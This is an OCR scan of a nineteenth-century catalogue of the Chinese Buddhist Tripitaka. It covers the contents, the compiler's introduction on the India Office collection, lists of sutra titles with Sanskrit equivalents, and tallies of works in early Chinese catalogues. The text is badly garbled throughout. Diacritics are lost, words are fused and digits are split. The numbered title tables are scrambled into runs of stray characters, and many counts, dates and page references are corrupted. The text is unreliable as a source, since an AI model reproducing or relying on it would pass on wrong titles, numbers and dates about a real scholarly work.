- 127II. a 0 gTan. yi-ki, "Stras of, single translation, excluded fromClass. Nos. 67 9 -78I . ' ,163PART III.AA,. - * * g Sui- Yuen-zu-tski-ku-ti-siao - shaft-kin, Strasof th -Mahayana and Hinayana, admitted into the Canon during the later (orNorthern) and Southern Sun (A, D. 9 60I127 and x 127-12 8o) and Yuen`' (A, D.128o-13 68) dynasties. Nos. 782. -xo8x ,, . . . ". 181PARTI. -FIRST DIVISION.Kiii-tsti;" or Settra-pitaka.&-shaft-ki, Stras of the Mahayana . .the precedingSECOND DIVISION.. 23 9. 245PART . I.PART II, ILizh,-tsn, Vinaya-pitaka.T-shaxi"-lh, Vinaya of the Mahayana. Nos. 1 082x1 06 .Sio-shaft-lh, Vinaya of the Hinayana. Nos, i x 07x x66 .CONTENTS.PART I.PART II.PARTIII.`^p Sun-yuen-suh-zu-tsd-k-lun, Works of the Abhi-dharma of the Mahayana and Hinayana, successively admitted into the Canonduring the later (or. Northern) and Southern Sun (A. D. 9 6o I I 27 and 1127-1280) and Yuen (A, D. 1280 -13 68) dynasties. Nos. 129 8-13 20. . . 287THIRD DIVISION.
Lun-tsfit, Abhidharma-pitaka.Ta-shaft-lun, Abhidharma of the Mahayana. Nos. 1167-126o .Sio-sha-lun, Abhidharma of the Hinayana. Nos. 1261 -129 7COLUMN. 257277FOURTH DIVISION.Ts-ts (` Samyukta-pitaka?')'-, Miscellaneous Works.PART I. Si-thu- shall -hhien-kwn-tsi, Works of the sages and wisemen of the western country, i. e. India. Nos. 13 21-1467
29 3PARTII. (a) iLa Tshz'- thu - ku - shu, Works of `this country,' i. e. China. Nos.1,468-1621
e. . . . . 3 25.(b) 91 ^,mTA- min -suh-zu-ts-ku-tsi, Several Chinese Workssuccessively admitted into the Canon during the great Min dynasty, A. D. 13 68--1644. Nos. 1622-1657 . . .
3 57(e)1' 4- ; ' `: 'It Pe-tsii-khii-nn-tsa'i-hn-ho-fu, Works wanting. in' the Northern Collection2 and now` addd from the Southern Collction2, withtheir `case-marks. ' Nos. 1658x662 . 3 65APPENDIX I.List of the Indian Authors, with the titles of the works ascribed to them. . . 3 69APPENDIX II.List of the Translators of the Chinese Buddhist Tripitaka, both foreign and native, under successive andcontemporaneous dynasties, with short biographical notes, and the titles of their translations whichare still in existence
3 79APPENDIX III.List of the Chinese. Authors . . . 459Index of the authorised. Sanskrit titles .
469Index of the proper, names of the Indian and Chinese Authors and Translators with reference tothe three' Appendices
. 477Tsf-tsd, ' Samyukta - pitaka (?):' This Chineseterm for misellaneous Indian and Chinese works is used by aChinese priest named X'- s, in his valuable , work entitledueh-ts^-1^'-t3 i^^ , or Guide for the Examination of the Canon.It' consists of ,48 fasciculi. The compilation of this work wasi ished by him in A. D. 1654, after he bad spent about twentyyears in a careful examination of the whole Canon, beginning fromhis thirtieth year. I have a copy of the Japanese edition in my pas-'session, sent to me from the temple Eastern Hongwanzi last year.For 'the Southern and Northern Collections of the Tripitakaunder the Min dynasty, see my. introduction to this Catalogue,p. xxii.INTRODUCTION.THE OBJECT OF THIS CATALOGUE.THIS is a complete Catalogue of the Chinese Translation of the Buddhist Tripitaka, the Sacred Canon ofthe Buddhists in China and Japan, . It contains not only the titles of 1662 different works (of which3 42 , however, are miscellaneous works), but also the names of the authors and translators, together withtheir dates. The arrangement and classification of these works are the same as in the original ChineseCatalogue, i. e. No. 1662. Notes taken from various sources are added under each title with their fullreferences. A. list of the principal authorities consulted by me will be found on p. xxxii. Though I gladlyand gratefully acknowledge the assistance received from my predecessors, there still remain such difficulties.as were pointed out by the Rev. J. Summers in his Descriptive Catalogue of the Chinese, Japanese, and "-Manche books . in the Library of the India Office, 187 2 (l. iv), :when he says: ` The title of a [Chinese]book is often untranslatable ; the author's name. is frequently out of sight, 'arid - has to be sought for.in some obscure corner or work ; the date of the publication is alike often doubtful, and in the case ofBuddhist Literature the identification of the Chinese title with the Sanskrit original is sufficiently troublesome. 'This quotation will to a certain extent explain the imperfection ofd my own work, for which I have tocrave the indulgence of those who may use it.My principal object in making this compilation has been to show the original, though it may be not.quite scientific, arrangement -bf this great Collection of our Sacred Canon, made in China under the Mid,dynasty, A. D. 13 68-1644. Acopy of the; Japanese edition of . this Chinese Collection, published in Japanin A. D. 1678-1681, is now in the Library of the India Office in London. It is this copy . of the SacredBooks,' says the Rev, S, Beal, `that (in 1 8 74) I requested His Excellency Iwakura Tomomi to procure. forthe India Office Library. In 1875 the entire Tripitaka was received at the India Office, in fulfilment ofthe promise made by the Japanese ambassadors . ' Immediately after this, Mr. Beal prepared a Catalogueof the books `. for practical purposes 2,' which was completed in June 1876, within the- time f sixmonths 8. In the same 'month . (viz. June), I left Japan for England, where I arrived in ;August of the same year.At that time T did not know English at all. So I spent about two years ad . a half in London to learn,it, before I could begin my study of Sanskrit. Before ' I left London -for Oxford - in February 1 87 9 ; ILad an opportunity of seeing Mr. Beal's ` Catlogti; ` brit I dick not visit the India Office Library till` April1880. In September of the same year, I received special 'permission to examine the whole 'Collection(except! a few works which - I have not been able to see to the present day) in the' Library. I at 'onceperceived some grave mistakes that had been made concerning the arrangement of the works in thisCollection, on the part of some Japanese who had been, charged to send this - copy from. . Japan to England:I felt it my . duty to correct this wrong arrangement. The original arrangement. is by no means' ^ o irrationalas Mr. Bea-r thinks, when he says . in his `Catalogue (p. I, note 2) * : ` The travels of the Buddhist Pilgrims,for example, are arranged under the heading of King or' Stras, but it is : evident that this arrangementis purely Chinese, and comparatively modern. ' . Such an arrangement, however, is neither modern nor Chinese,but simply erroneous- ! If Mr. Beal had adopted what he ,calls the third method" (in his Catalogue,' p. 2), Abstract 'of Four Lectures on Buddhist Literature in China,' Ibid. , p. viii.delivered at University College, London, by Rev. S. Beal, i88 z,s The Buddhist Tripitaka, as it is known in China and Japan:p. vii. ACatalogue and Compendious Report,, by Rev. S. Beal, 1816.b 2INTRODUCTION.ziitaking the works in the order of the Index, or of the original Catalogue, i. e. No. 1662, the proper arrangementwould have been at once restored, though it would of course have required nearly an entire re-adjustmentof the contents of the ` one hundred and three cases. ' Moreover, this original arrangement exactly corresponds-with the order of ' determining characters,' taken from the Thousand Character Composition. 'The present compilation is the result of my own examination of the Collection in September 1880.I regret, however, that : I have -been unable to give a more complete account of each work, or to show thecontents of the whole Collection more fully. Nevertheless, with the help of several learned works, I thinkI have succeeded in identifying a . number of the Chinese titles 1 . In a few cases I was also able tocompare the Chinese translations with the original Sanskrit texts. The Sanskrit titles thus identified aregiven in the first Index. . In the second Index, the names of the Indian and Chinese authors and translatorsare arranged alphabetically. These two Indices, together with three Appendices which precede them, will,I hope, be of some use in determining the dates of certain authors and their works:I. have made a distinction between the authors. and translators. There are some Chinese authorswho not only translated Sanskrit works into Chinese, but also composed original treatises in Chinese. Inthit case their names are mentioned in the second Appendix as well as in the third.THE CHINESE BUDDHIST LITERATURE.The Chinese Buddhist literature is somewhat different in its style from the classical and historicalworks of China. It dates from the first century of the Christian era, while the Chinese classics andsome of their historical works were written long before, Now the Chinese Buddhist literature chieflyconsists of translations of Sanskrit works ; so that it is not only full of transliterations, but also of quiteliteral renderings of technical terms and proper names. These require special study. As the sound of theChinese characters has been changing in successive periods and in different parts of China, the transliterationvaries in various translations, made from the first century A. D. down to the . thirteenth. The older transliterationis generally less full, so that it is more difficult to restore it to its Sanskrit original, unless it is firstcompared with a later and fuller transliteration. For this kind of study there are six useful works in thepresent Collection, namely :(I) No. 1604, Sho-hhi-kuri-tio-ti-tsan-yin, or a dictionary of the Buddhist Canon, republished in theSho-hhi period, A. D. 113 1-1162. 3 fasciculi.(2) No. 16o5, Yirtshie-kin-yin-i, or a dictionary of the whole Canon. Dates from A. D. 649 . 26 fasciculi.(3 ) No. 1606, Hw-yen-kin-yin-i, or a dictionary of the Buddhavatamsaka-sutra, No. 88. Dates fromA. D. 700. 4 fasciculi.(4) No. 1621, TA,-min-sn-ts-fa-shu, or a concordance of numerical terms and phrases of the Law ofthe Tripitaka, collected under the great Min dynasty, A. D. 13 68-1644. 4o fasciculi.(5) No. 163 6, Kiao-shaft-f-shu. This is' - a later collection similar to No. 1621. Dates from A. D. 143 1.12 fasciculi.(6) No. 1640, Fn-i-min-i-tsi, lit. ' a collection of the meanings of the (Sanskrit) names translated (intoChinese): Dates from A. D. 1151. 20 fasciculi. This is a very useful dictionary of the technical termsand proper names, both in Sanskrit and Chinese Buddhist literature, though it requires much correction.Beside these, I must not omit two valuable works, of European scholars, namely :-(I) Mthode pour dchiffer et transcrire les noms Sanskrits; par M. Stanislas Julien, 1861.(2) Handbook for the Student of Chinese Buddhism, by Rev. E. J. Eitel, 187o.DIFFERENT COLLECTIONS AND EDITIONS OF THE CHINESE TRANSLATION OF THEBUDDHIST TRIPITAKAAND THE THIRTEEN CATALOGUES NOW IN EXISTENCE. .There still remain two questions, namely : Who collected the Chinese Translation of the BuddhistTripitaka, and when was such a Collection published in China, Corea, and Japan ' In answering thesequestions, I must give an historical sketch of our Collection.' Whenever the meaning of the Chinese title is not quite the renderings are printed in small type with inverted commas, undersame as that of the Sanskrit title, it has been translated quitethe Chinese titles.literally into English, or sometimes into, Sanskrit. All theseIO2 ' Stara on 'the ' Tathgata-visesha-, na (7)'104 . ' Stra of the chapter on going acrossthe world'i Dasabhmika-stra108 ' Stra of the chapter on the way ofpractice in the ten dwellings (i. e,the earlier steps) of a Bodhisattva(which lead on to the ten Bhmis). 'I 1 o Dasabhmika-stra112 ' Stra on the office of the Bodhi-sattva, asked by Magusr'99)!9 99 99 99 f3pp27 bII aTo 13 b8a12 bI2 ari a10 aI2 b22 a9 9 5 aINTRODUCTION. xiiiWe have in the present Collection thirteen Catalogues or Indices' of the Chinese Translation of theBuddhist Tripitaka. Achronological table of these Catalogues with their titles, and those of differentCollections and Editions, will be found towards the end of this Introduction.Beside these, there are said to have been thirty-one Lists or Indices compiled before A. D. 73 0, all ofwhich were lost at that time. The titles, however, and compilers, and even contents, of some of them arementioned in the Khi-yuen-lu, No. 1485, fasc. Io, fol. I a seq. The two oldest Lists are said to havedated from the Tshin and the Former or Western Hill dynasties, B. c. 221-206 and 202A. D. 9 , respectively.These and some of the rest are of course very doubtful. I shall therefore not dwell on the missing Listsor Indices, but proceed at once to examine the more substantial materials.TRANSLATIONS NOW IN EXISTENCE, AND MENTIONED IN, THE OLDEST CATALOGUEOF ABOUT 520 A. D.The following works in existence in the present Collection seem to be the same as those mentioned inthe Khu-sn-tsar-ki-tsi, No. 1476,. the oldest Catalogue of the Chinese Translation of the. Buddhist Tripitaka,compiled in about 520, under the Liar dynasty, A. D. 502-557.SOTRAS OF . TIMKhu-sn-ts-ki-tsi.MAHYNA.Klafft-sn-tsaai-ki-tsi.PAGE22I b,57 Ksapa-parivarta59 ,5rml-dev-simhanda25a3 o a9 !8 b61 Mahvaipulya-mahsannipta-stra9 924a9 9 4b 66 Sumerugarbha Z a(7)9 922 a19 b68 ksagarbha- bodhisattva-stra .n7 0 ^Aksagarbha- bodhisattva-dhyna-.24a9 ) 7a stra' 29 a9 922 b71 Bodhisattva-buddhnusmriti-samdhi)93 1b9 ) 9 a.73 Pratyutpanna-buddhasainmukhva-9 f22 bsthita-satndbi9 ) 4 b-9 9 25b 74 Aksharamati-nirdesa-stra_i3b10 7 9 Tathgata-mahkrunika-nirdesa 9 a8o ' Ratnastr-pariprikkh'9 9iob
6. b81 ' Mka-kumra-stra'f9II a5a82 ' svararga-bodhisattva-stra' 22. b9 9i 2b87 Bddhvatamsaka - mahvaipulya-9 99 bstra2 5 bI2 b9 2 ' Staraon theappearance. of the9 9 5bTathgata'))iobf9I. o a100 ' Stra on tbe original action of theBodhisattva' 6 b.No.3 Pakavimsati-shasrik pragpra-mit49 !
9 95 Dasashasrik pragpramit
6!9 9 )79 9 as8
N))I o Vagrakkhedik2 3 ( 3 ) Tathgatkintya-b uhya-nirdesa23 (17) Prna-pariprikkh23 . (44) Ratnarsi, or Ratnaparsia3 (47') Ratnakida-pariprikkh26 . Amityusha, or -bha, or Stkhvat-vyha28 Akshobhyasya Tathgatasya vyha3 o Saniantamukha-parivarta3 1 Magusr-budzlhakshetragunavyha3 2 Garbha-stra (I)3 3 Ugra-pariprikkh
3 4')9 f9 .3 5 Bhadra-mkra-pariprikkh, or -vy-karana3 6 Vinayaviniskaya=upli-pariprikkh3 9- Sumati-drik-pariprikkh41 Vimaladatt-pariprikkh42 Asokadatt-vykarana43 Surata-pariprikkh 47 Sushthitamati-pariprikkh, or- Mayo-pama- samdhi5o Subhu-pariprikkh52 Gnottara-bodhisattva-pariprikkh53 Bhadrapla-sreshthi-pariprikkh55. Maitreya-pariprikkh10 3 2 b22 aI 2 a29 a))
24b8a))
II b))))322 a9 b3 013 .15b29 b9 a22 bII b22 a9 b5a3 o b9 b13 bio a22 a13 a9 a22 b))))))3)))))),)))32))441aPAGE24 az 26 a23 a24 bFASC. PAGE2I27aI I a7b1 3 a22 bIob24bIo b46 b26b13 b7b13 b7b19 a))))))999)))))))42 I a6b))7 a))5 a2 5 bIz a))))II aI2 bIOa))27 b17 b22 a10 8b44a9 )9 1))INTRODUCTION.xiv ^)))LalitavistaraSarvadharma, pravritti-nirclesa-stra165 Vasudhara-bOdhisattva-pariprikkh-sitra'166 ` Vasudhara-stra'168 R at n<a. krandakavyh a-stra174 Agil tasatru-kaukritya-vinodana175 Lail/ vatra-stra18 2 Agtasatru-kaukritya-vinodana183184 79 01 9 419 7200I27I2813 313 413 613 814214314514615o154157158160164))Mail usr-vikrdita-straViseshakinta-brahma-pariprikkhHastikakshy&Viseshakinta-brahma-parip rikkhSukhvatyamritavyha-stra, or Su-khvatvyha202 ' Alater translition of the Straconsisting of verses on ' Ami-tyus'204 Stra about the meditation on theBodhisattva Maitreya's going upto be born in the Tushita heaven'205 11 t aitreya-vykarana206208No.1 1 3I I 6I201 22))))` Stra about the meditation on theBodhisattva Maitreya's comingdown to be born (in this world)'2209 ' Stra on Maitreya's becoming Bud-dha'214 Strvivarta-vykarana-stra216 ' Stra on the Bodhisattva who wasthe son who took a look at (hisblind father)FASC.23 1 a))22 b3 i3 a-))2No.219 ` Kumra-mka-stra'224 ` Stra spoken by Buddha at (therequest of) an old woman'23 0 Kandraprabha-kumra-stra.23 3 Vatsa-stra2 3 4))))23 8 Gaysrsha242 ' Stra on the determined Dhrant'244 Mahmegha-stra252 ' Sarvavaipulyavidysiddha-stra'255 Tathgatag Unamudr-samdhi256
))))257 `Anantaratna-samdhi-stra'281 Slisambhava-stra283 Stra on the Samdhi called vow,realised by the Tathgata alone'2 9 7 Stra on the girl Ngadatt'3 09 Maliniayr-vidyrgrt3 10 ` illahmayr-rgfi-samyuktarddhi-dhrant-stra'Srmat-briihm an -pariprikkhAnantamukha-sdhaka-dhran (?))).`Stra on cutting the tie (of passions)in the ten dwellings (i. e. the earliersteps of a Bodhisattva which leadon to the ten Bhmis)'3 77 `Bodhisattva-bodhivriksha-stra'3 79 ` Sara on . (the history of) Poh (orPushya ?)'3 81 Prnaprabhsa-samdhimati-stra'3 8 4 Tathgatagarbha-stra3 85 Ratnagli-pariprikkh3 88 ` Stra on (the characteristic %narkson Buddha's) person as'(the resultsOf) fifty causes of the practice ofa Bodhisattva'3 9 2 ` Ifaturdurlabha-stra'3 9 3 Sukinti (1)-devaputra-stra'3 9 5 ` Avalokitesvara- bodhisattva-mah-sthm aprpta- bodhisattva -vyka-rana-stra'3 9 7 ` Sryagihmkaranaprabh-samdhi-stra'3 9 9 Sragama-samdhi401 Buddhasaiigti-stra403 Bhadrakalpika-stra405 Atta-vyhakalpa-sahasrabuddha-u ma-stra'406 Pratyutpanna-bhadrakarpa-sahasra-buddhanma-stra'Mahparinirvna-straKaturdraka-samdhi-straMahparinirvna-stra6 Stra of Buddha's last instruc-tion 'Suvarnaprabhsa-straSarvapunyasamukkaya-samdhi-stra^Amitrtha-stra'Sacldharmapundarka-stra))^))) ,))K aru npundark a-stra` Shatpramit-sannipta-stra'Vimal akrtti-nirdesa))Avaivartya (?), or Aparivartya-straSandhinirmokana-straAvaivartya (?), or Aparivartya9 stra12 a22 b12 aI 0 a3 423 543 553 563 76Iob3 1 b6b26aaVPASO, PAGE2 23 bn3 . a -6a7777277INTRODUCTION.No.545548No. FASO. PAGE407 ' Angata-nakshatratrkalpa-saha-srabuddhanma-stra'44 a412 ' Akintyaguna - sarvabuddha - pari -graha-stra'45 b416 ' Sreshthi-dharmakri-bhry-stra' 3 15 b421 Pratyutpanna - buddha - sammukh-vasthita-samdhi-stra227 a425 Kusalamla-samparigraha, or -pari-dhara-Str a22 a430 ' Buddhadhyna - samdhisgara-^ tra'25 b43 2 ' Bodhisattva-prvakary-stra'3 17 b43 3 Garbha-s itra (?)221 a43 4 Aguli ma' iya-stra, _,,,3 o b43 7 Anavatapta-M garga-pariprikkh9 b438 ' Stra on fifty countings of clearmeaure (?)'3 b440 Mahbher-hraka-parivarta3 o a445 ' Satre, of the garland of the Bodhi-sattva'21 a456 SAgara-ngarga-pariprikkh 9 b468 ' Stara on the changes of the future' 13 a469 Stra on the Pindaptika of a Bud-dha of the past'13 b47 0 ' Stra on the destruction of thelaw'43 1 a472 ` Stra on Phi-lo (Vela?), the crown-prince of a heavenly king'3 1. 8 b478 ' Stra on the spiritual Mantra forkeeping the house safe'48o ' Stra on the Vidy or spell . foravoiding and removing the injury(caused) by a thief '481 ' Stra on relieving epidemic by aspell'48-3 Kakshur-visodhana-vidy484 ' Stra on reliving a (sick) child bya spell'513 ' Kandraprabha-bodhisattva-stra' " 2514Kittaprabh (?)'515 Dasadigandhakra - vidhvamsana-stra' 517 ' Stra on the opposition of the Mara'518 'Rshtravara - pariprikkla"a -gunapra -bha-kumra-stra'SUTRAS OF THEHNAYNA.542 Madhyamgama-stra543 Ekottargama-stra544 . Samyuktgama-straDrghgama-sitr` Stra on the- law. of ten rewardsin the Drgh4gama'551 ' Stra on th Lokadhtu (?)'553 ' Stra on the Avidy, Trishn , andGti of mart'3 a558 ' Stra on the salt-water 'com-parison'559 ' Straonthecauseofall theAsravas or. sins'3 1 3 a4a565 Stra , on the law, true and nottrue'77 77567 ' Stra on the explanation of Asra-va (?) 7!Y3 a577` Stra on fasting (Upavasatha, Upo-satho in Pli)' 7 a578 ' Stra on the Dulikha-skandha (?)' 4 3 0 a`58o ' Stra on the cause' 2 7 a583' Stra on Grihapati, being a manpossessed of* eight cities and tenfamilies (I) ' 18 a586 ' Satre, on the universal meaning ofthe law ' 3 a59 4' Stra on , the (Grihapati) Rshtra-pla (?) or R shtravara' 8 a600 Stra on the Bhikshu Kampa' . . 3 a6o I ' Stra on the fundamental relation-ship or causation ',,4 a609 ' Stra on the honourable one (?)' 6 b611 ' Stra on or to Teu-thio (Deva-datta ?)'
9 b'616 ' Stra on Sumati (?)'
7a(?)621 ' Stra on Argulimlya'
13 a623 ` Stra on the (500) Mallas orirestlers who were trying tomove a mountain a
z I b63 9 ' Stra on a Srmanera'3 18 b647 ' Stra on the secret importance oftiring the (heart) disease ofthose who engage in 'contempla-tion'231 a 64. 8 ' Stra on seven Ayatanas and threesubjects for contemplation'652 ' Satre, on the holy seal of the law'653 ' Stra on the comparison of the fiveSkandhaa'656 `. Stra on Prnamaitryanputra'657 Dharmakakra-pravartana-(-stra)659 ' Ashtga-samyali-mrga-stra'661 ' Sidra on-three characteristic marksof a (good) horse'662 ' Stra on eight characteristics of a4f744 a,,43 b44 a43 b6b13 a11'bIob
2I b2o b3 o ar^3 bz I, b>^ . 3 b, 4 , 49 bz3 b777f3 . 3 b^(?)73 b29 b12 aII aI2 brI b9 b28 blob28 b24b3 ob9 ar2 6b26 b2a3 b4af9
99
9 ,D,f93
9 ,PASO. PAGE224 1Y .9 9 x 73 a222 b
24b228b23 b,9 9 ,26b28aP9 "3 3 a.ff29 a13 a2ff9924a' 28 a23 b3 1 a 3x 9 fxvi
INTRODUCTION.7'a7bro ary a23 b4 1 7 a2
No. FASO.(bad) horse compared with thoseof a (bad) man'664 ' Satre, on the origin of practice (ofthe Bodhisattva)'665 ' Stra on the lucky fulfilment ofthe crown-prince'666 ! Stra on the cause and effect ofthe past and present'669 Gtaka-nidna671 ' Vaidrya-r7a-stra'674 ' Stra on the . fulness of meaning'676 ' Samyukta-pitaka-stra'678 '-Stra of forty-two sections'68i ' Stra on keeping thought, in the(manner of) great npna'683 ' Stre, on perception in ;the law ofpractice of meditation'689 ' Stra on the condition (Dharma)which receives dust or impurity'69 6 ' Stra (spoken to ?) nanda onfour matter's. '69 9 ' Stra on four. wishes (of mankind)'702 ' Stra on the filial . child''709 ' Stra on seven women'710 ' Stra on eight teachers'772 ' Stra on desire being the causeof a iction'722 ' Stara on the Katurmahrga'729 ''Stra on 500 disciples telling theirown Nidna or Gtaka'746 ' Stra on four (articles of) self-injuring'758 ' Stra on King Samant-aprpta(Z)'759 ' Stra on the mother of (too)demon-children (i. e. Hiritf)'76o ' Stra on a king of the. countryBrhmana (I)'765 ' Stra on nine. (causes of) unex-pected or untimely (death)'775 ' Stra on the five kings'78o ' Skandha-dhty-yatan-stra'VINAYA, of THEMAHYNA.7083 ' Stra 9 n the manners concerningthen five Silas of the Bodhisattva-upsaka'1084 Paramrtliasamvarti (-varta 1)-sat-yanirdesanma-mahyna-stra 9 91085 Bodhisattva-kary-nirdesa
o86No.Io88 ' Upsaka-3 11a-stra'109 1 ' Magusr1-ksham-stra'709 3 ' Stra on receiving the ten goodprecepts or the Sikshpada'I09 5 Buddhapitaka-nigrabanma-mah-yna-stra709 6 ' Bodhisattva-pratimoksha-stra'VIRAYAOP THEAYNA.1 1 1 4 ' Upsaka-pakasila-rpa-stra'II Is Sarvstivda-vinaya1117 Dharmagupta-vinayaI 119 hlahsaglla (or -saghika)-vinayaI I 2 2 ]YIahfssaka-vinaya7125 Vibhsh-vinayaI r 3 2 Sarvstivda- nikya-vinaya-m-trik1145 ' Srmane'ra - dasasila - dharmakar-mavk (?)'1155 Pratimoksha of the Dharmagupta-nikya1157 Pratimoksha of the Mah4ssaka-nikya1160 Pratimoksha-stra (1)1 161 Bhikshuni-pratimohsha-stra (1)1166 ' An,important use for the. Bhikshuconcerning the Karman of theDasdhyya (-vinaya)'ABHIDHARIAOF THEMAH. YNA.I 16g(-stra)-ss-tra'1 17 9 Prnyamla-sstra-tk1180 ' Dasabhmi-vibhsh-sstra'1186 Dvdasanikya-sttra'7188 Sata-sstraABHIDHABMAOF THEHNAN.1268 Sriputrbhidharma-pstraI273 Abhidh^ xma-gnaprasthna-sstra7274 ' Satyasiddhi-sstra'1279 Vibhsh-sstra287 Sannyuktbhidharma-hridaya-ss-tr,1288 Abhidharma-hridaya-sstra1289 ' Arya-vasumitra-bodhisattva-sa-giti-sstra'PAGE4a(?)f923 a
2 3 b.Aff224 a21 119 !23 a, 20 a28b271 120 aINDIAN MISCELLANEOUS WORKS.No. FASC. PAGE13 21 Avadna (-stare), or Dhammapad-INTRODUCTION.xviiNo. FASC. PAGE13 50 ' Dhynnishthita (1)-samdhi-dhar- maparyya-stra'223 avadnaz 3 22 Damamk (-nidna-stra)2
21 a3 0 a13 52 ' Stra on the practice of Buddha,compiled by Sagharaksha')920 a13 23 ' Buddhaprvakary-stra' 27 b13 64 ' Stra of a hundred comparisons'3 3 bz 3 25Karym rgabhmi-stra ' 9 a13 65 Dhammapada or Dhammapada))6a13 26 ' ilZrgabhmi-stra' . 2 b13 66 ' Sam- yuktvadna - stra, selected1 3 29 ' Samyuktaratnapitaka-stra' 3 2 afrom various Stras' 23 a^3 36 Samantabhadrapranidlina3 3 3 7Stara on six Bodhisattvas' namestoberecitedandkeptinin hid '1 3 3 9 ' Stra on the twelve causes as anoral explanation according to the
426 a8a(?)13 67 ' Stra on the Nidna or cause ofthe eye-destruction of F-yi, theson of Asoka'))13 81 ' Explanation of an extract fromthe four Agamas'1 3 82 ' Pazikadvra-dhynastra - mahr-2a a2obAgania'4 athadharma')929 bI 3 4o ' Stara (or record) on the Nidna1 416 ' Law of the Bodhisattva's blamingorcause of transmittingtheDharmapi taka ' 3 2blustful desire'1,1440 AArya-ngrguna-bodhisattva-suhril-23 a1 341 Dharmataxa (or - trta) - dhyna-lekha9 929 astra13 42 ' Stra on the important explana-25b1451 ' Prag ipramit - buddhi - stra-mahsukh mogha-samayasatya-tion of the law of meditation'1 3 46 ' Abhidharma-paRkadharmakary-,,23 a"agra-bodhisatty disaptadasrya-mahmandalavykhy' 13 astra'))3 . a13 49 ' Satre, on the fruits of Karman. briefly explained by the Bodhi-ACHINESEWORK.sattva Aryasra '9 9 '29 a 149 6 Travels of F-hhien or F-hian2 26 bNo. 1476, the oldest Cataldgue in existence (see pp. xiii, xxvii), mentions 2213 distinct works, whethertranslations or native productions, of which 276 works may thus be identified with those in existence atthe present day. This oldest Catalogue is a private compilation of a Chinese priest, named San-yiu. Hlived under the reign of the Emperor Wu, A. D. 502-549 , the founder of the Li . dynasty, A. D. 502-557.As we read in the Annals of the Sui dynasty, A. D. 589 -618, ' This Emperor paid great honour to Buddhism.He made a large collection of the Buddhist canonical 'books, amounting to 5400 volumes, in the Hw-lingarden. , The Shman No-khan compiled the Catalogue in fifty-four fascicles', According to the Khi-Yuen-lu (flisc. Io, fol. 5 a), this Catalogue was compiled by Po-kha under the Imperial order, in 4 fasciculi,in ,A. . D. 518; but it had been lost already in A. D. 73 o. The total number of the sacred books in it issaid to have been about 143 2, or 3 3 9 5( 1) distinct works in 3 741 fasciculi, arranged under twenty classes. Thiswas the first Collection of Buddhist sacred books made l)y un Emperor of China.In A. D. 53 3 -53 4 the second Collection of Buddhist sacred books was made by the Emperor Hhio-wu,of the Northern Wi dynasty, A. D. 3 86-53 4. . An official, Li'Kwo, compiled the Catalogue under the Imperialorder. There were ten classes, including about 427(1) works in 2053 fasciculi. This Catalogue had been lostalready in A. D. 73 0. (See Khi-yuen-lu, fasc. 10, fol. 4 b. )Under the Sui dynasty, A,. D. 589 -618, three Catalogues were compiled, in A. D. 59 4, 59 7, an. ct 603 .These Catalogues are in existence, viz. Nos. 1609 , 1504, and 1608 (see p. xxvii). The number of the hooksin these Catalogues differs considerably. The first and the last compilations, Nos. 1609 and 1608, were tradeunder an Imperial order. These may therefore be called the third and fourth Collections, made by Van-ti,the first Emperor of the Sill dynasty, who reigned A. D. 589 or 581-604.1 Max Miller, Selected Essays, vol. ii, p. 3 28.xviiiINTRODUCTION.No. 1609 , the second Catalogue, which is still in existence (see p. xxvii), compiled by Fa-kin and others,mentions 2257 distinct works in 53 10 fasciculi in nine classes, each class being subdivided into two ormore heads. But. the actual, number is as follows :x. Stra. Mahayana784in 1718 fasciculi.Hinayana .845 13 04 2. Vinaya. Mahayana 50 82ff3 . Abhidharma.HinayanaMahayana6368f,,f3 813 81
Hinayana116 482 4, Later works, Extracts 1 44 62 7 Indian and 'Records68
185,fChinese. Treatises119ff 13 4 22 57 52 9 4 f,Although mention is not made of missing works in No. 1609 , yet it is doubtful whether the 2257 workswere all in existence in A. n. 59 4 (see second line from the bottom of this page).In A. D. 59 7 the third Catalogue in existence, No. 1504 (see p. xxvii), was compiled by F Khan-fa,who was a translator of the Buddhist sacred books, appointed by the Emperor.ing number of works is said to have been admitted into the Canon :-- i. Mahyna.In his compilation the follow-Stra,whose translators areknown. 234 in 885 fasciculi.1 7 17unknown.23 5 _ 402 Vinaya,,9 known 1 9 40,; unknown. 12/7Abhidharma,
J1,fknown.41 unknown.492,, 23 87551 ,f15862. Ilinayna.Stra,whose. translators areknown Io8 in527fasciculi.71)7/7,, unknown,Vinaya,,,+ known.3 163 9482285
9 f9 9 ,,,, unknown.3167.Abhidharma,7/ known 2I3 51ff,f. unknown Io27 ff525 . ,
173 9The fourth Catalogue in existence, No. 1608 (see p. xxvii), was compiled in A. D. 60. 2 by priests andliterati, who were then appointed by the Emperor as translators of the Buddhist sacred books. , ' In thisCatalogue the total number and classification of works are again different, namely :=I. Works with one translation. 3 7o in 1786 fasciculi.2. Works with two or mare translations2 77ff 583 /)3 . Works of the (Indian) sages41 f9 164 4. Works of separate production, or extracts 810ffI288 ,,5. Works doubtful and false 209 49 0 6. Works missing.4O2 f1 747 2109 5058,INTRODUCTION,xixAs we read in the Sui Annals, In the period T-yeh (A. D. 605-61 , 6) the Emperor (Y) orderedthe Shaman Ki-kwo to, compose a catalogue of the Buddhist books at . the Imperial Buddhist chapel withinthe gate of the palace. _ He then made some divisions and classifications, which were as follow :-`The Stras which contained what Buddha had spoken were arranged under three divisionsI. The Mahyna,2. The Hinayana. 3 , The Mixed Stras.` Other books, that seemed to be the productions of later men, who falsely ascribed their works togreater names, were classed as Doubtful Books. ,There were other works in which Dodhisattvas and others went deeply into the explanation of themeaning, and illustrated the principles of Buddha. These were called Disquisitions, or Sstras.Then there were Vinaya works, or compilations of precepts, under each division, as before, Mahayana,Hnayna, Mixed.`There 'were also Records, or accounts of 'the doings in their times of. those who had been studentsof the system. Altogether there were eleven classes under which the books were arranged :-r. Sutra. Mahayana617 in 2076 chapters (or . fasciculi).Hinayana487852Mixed.3 80 7 0Mixed and doubtful 172)) 3 3 6` 2. Vinaya. Mahayana52 )) 9 1 9 SHinayana 8o)) 472Mixed. 27463 . Sastra. Mahayana3 5 141))HinayanaMixed.4151.3 3 ,
